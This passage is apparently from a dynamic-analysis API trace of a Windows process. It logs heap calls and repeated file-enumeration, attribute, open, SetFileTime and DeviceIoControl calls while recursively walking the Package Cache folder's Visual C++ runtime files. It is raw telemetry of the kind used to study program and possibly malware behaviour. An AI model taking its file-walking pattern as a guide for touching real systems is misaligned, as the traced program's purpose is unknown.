(HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136eeb0) returned 1 [0092.590] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0092.590] GetLastError () returned 0x12 [0092.590] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368268) returned 1 [0092.590] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0092.590] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136e358) returned 1 [0092.590] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368ec8) returned 1 [0092.590] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", cAlternateFileName="")) returned 1 [0092.591] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368ec8 [0092.591] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.592] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0092.592] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0092.592] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0092.592] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0092.593] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0092.593] NtClose (Handle=0x15c) returned 0x0 [0092.593] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368ec8) returned 1 [0092.593] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.593] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcd08 [0092.594] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368ec8 [0092.594] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.594] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136e358 [0092.594] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e8f40 [0092.594] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.595] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0092.595] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0092.595] GetLastError () returned 0x12 [0092.595] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e8f80 [0092.595] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0092.595] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.595] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0092.595] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368268 [0092.595] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcd08) returned 1 [0092.595] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136eeb0 [0092.596] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.596] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0092.596] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0092.596] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0092.597] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0092.597] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0092.597] NtClose (Handle=0x15c) returned 0x0 [0092.597] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136eeb0) returned 1 [0092.597] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcd08 [0092.598] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.598] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136eeb0 [0092.598] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcd08) returned 1 [0092.598] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136efb8 [0092.599] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f40 [0092.599] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.599] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94fa460, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94fa460, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="")) returned 1 [0092.599] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94fa460, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94fa460, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="")) returned 0 [0092.599] GetLastError () returned 0x12 [0092.599] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e90c0 [0092.599] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0092.599] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.599] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94fa460, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94fa460, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="")) returned 1 [0092.599] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136eca0 [0092.600] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.600] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136f0c0 [0092.600] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94fa460, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94fa460, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.600] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0092.601] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0092.601] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0092.601] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0092.601] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0092.601] NtClose (Handle=0x15c) returned 0x0 [0092.602] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136f0c0) returned 1 [0092.602] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.602] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcd08 [0092.602] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136f0c0 [0092.603] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.603] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136f2d0 [0092.603] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f40 [0092.603] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94fa460, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94fa460, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.603] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3c0e500, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xd3c0e500, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xd3c0e500, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x4f699e, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0092.603] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.604] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.604] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.604] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.604] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.604] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136f6f0 [0092.605] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcd08) returned 1 [0092.605] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f9198 [0092.605] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136f900 [0092.606] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.606] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfeab3900, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xfeab3900, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xfeab3900, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="")) returned 1 [0092.606] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.606] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.606] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.607] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.607] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.607] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x180) returned 0x1252f88 [0092.608] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136f6f0) returned 1 [0092.608] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f91b8 [0092.608] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfeab3900, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xfeab3900, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xfeab3900, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="")) returned 0 [0092.608] GetLastError () returned 0x12 [0092.608] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9200 [0092.608] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0092.608] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94fa460, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94fa460, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.609] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3c0e500, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xd3c0e500, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xd3c0e500, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x4f699e, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0092.609] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfeab3900, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xfeab3900, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xfeab3900, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="")) returned 1 [0092.609] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfeab3900, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xfeab3900, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xfeab3900, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="")) returned 0 [0092.609] GetLastError () returned 0x12 [0092.609] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136f2d0) returned 1 [0092.609] FindClose (in: hFindFile=0x2e9200 | out: hFindFile=0x2e9200) returned 1 [0092.609] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1252f88) returned 1 [0092.610] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136f0c0) returned 1 [0092.610] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94fa460, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94fa460, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="")) returned 0 [0092.610] GetLastError () returned 0x12 [0092.610] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136efb8) returned 1 [0092.610] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0092.610] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136eca0) returned 1 [0092.610] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136eeb0) returned 1 [0092.610] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0092.611] GetLastError () returned 0x12 [0092.611] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136e358) returned 1 [0092.611] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0092.611] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368268) returned 1 [0092.611] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368ec8) returned 1 [0092.611] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa931c450, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa931c450, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 